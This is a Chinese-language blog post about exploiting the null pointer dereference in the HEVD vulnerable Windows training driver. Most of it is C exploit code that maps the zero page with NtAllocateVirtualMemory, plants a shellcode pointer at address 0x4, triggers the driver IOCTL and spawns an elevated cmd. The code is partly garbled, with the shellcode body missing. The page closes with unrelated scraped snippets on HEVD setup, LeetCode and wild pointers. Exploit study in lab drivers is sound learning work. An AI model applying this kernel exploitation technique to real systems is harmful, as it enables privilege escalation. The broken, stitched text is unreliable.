HEVD 核心漏洞之空指標解引用

2021-09-27 13:05:42 字數 2223 閱讀 2502

空指標這個其實一直是乙個比較容易找到bug的點

因為一旦空指標指向了 不對的記憶體  就會報錯   r3的程式會崩潰 r0的驅動會藍屏                           ====

看一下 **

可以看出 安全的版本就是  檢查了一下 這個指標是否為空的  (其實有時候這樣判斷也未必一定安全)

但是  不安全的版本卻沒有 判斷 那麼 就會造成乙個結果   就是會執行 ** (0+sizeof(ulong))處指向的**

那麼 如果看過0day安全的小夥伴 一定對這個很了解  那個demo 的解法 就是把shellcode 寫到 位址0處

這個可以同樣的解 ==

其中  在用  ntallocatevirtualmemory  申請記憶體的時候 看準這一句話

exp 過程  ==

找到    ntallocatevirtualmemory

然後 用 ntallocatevirtualmemory 申請 位址0處的記憶體 

然後傳入shellcode 就ok了

#include#include#define nt_success(status) (((ntstatus)(status)) >= 0)

handle hdevice = null;

typedef ntstatus

(winapi* my_ntallocatevirtualmemory)(

in handle processhandle,

in out pvoid* baseaddress,

in ulong zerobits,

in out pulong regionsize,

in ulong allocationtype,

in ulong protect

);my_ntallocatevirtualmemory ntallocatevirtualmemory = null;

static void shellcode()

}static void createcmd()

; process_information pi = ;

si.dwflags = startf_useshowwindow;

si.wshowwindow = sw_show;

wchar wzfilepath[max_path] = ;

bool breturn = createprocessw(null, wzfilepath, null, null, false, create_new_console, null, null, (lpstartupinfow)& si, &pi);

if (breturn)

closehandle(pi.hthread), closehandle(pi.hprocess);

}int main()

*(farproc*)& ntallocatevirtualmemory = getprocaddress(

getmodulehandlew(l"ntdll"),

"ntallocatevirtualmemory");

if (ntallocatevirtualmemory == null)

dword breturn = 0;

pvoid zero_addr = (pvoid)1;

size_t regionsize = 0x1000;

if (!nt_success(ntallocatevirtualmemory(

invalid_handle_value,

&zero_addr,

0,®ionsize,

mem_commit | mem_reserve,

page_readwrite)) || zero_addr != null)

*(dword*)(0x4) = (dword)& shellcode;

deviceiocontrol(hdevice, 0x22202b, buf, 4, null, 0, &breturn, null);

createcmd();

system("pause");

}

ok 搞定一把梭====

參考鏈結

Windows核心漏洞學習 HEVD的使用

hevd安裝 啟動 hacksysevdexploit.exe hacksysevdexploit.exe c cmd p 在啟動的時候遇到問題,提示缺少檔案msvcp100.dll。心酸,正常是安裝vs2008就可解決的,但是在虛擬機器裡安裝vs有點卡,直接安裝了360安全衛士然後人工服務搜尋ms...

LeetCode解題方法之 空指標

203.remove linked list elements 1.這樣可以處理空鍊錶特殊情況,頭指標為要刪除的值的特殊情況 使用空指標p在這裡的好處在於,1.p儲存了頭結點,2.而最開始pre和p指向了同乙個節點物件,這樣如果首節點是空節點或等於val時,可以直接進行操作,因此首節點也可以當做普通...

學習筆記之09 空指標和野指標

1 沒有儲存任何記憶體位址的指標就稱為空指標 null指標 2 空指標就是被賦值為0的指標,在沒有被具體初始化之前,其值為0。下面兩個都是空指標 1 student s1 null 2 3 student s2 nil 野指標 不是null指標,是指向 垃圾 記憶體 不可用記憶體 的指標。野指標是非...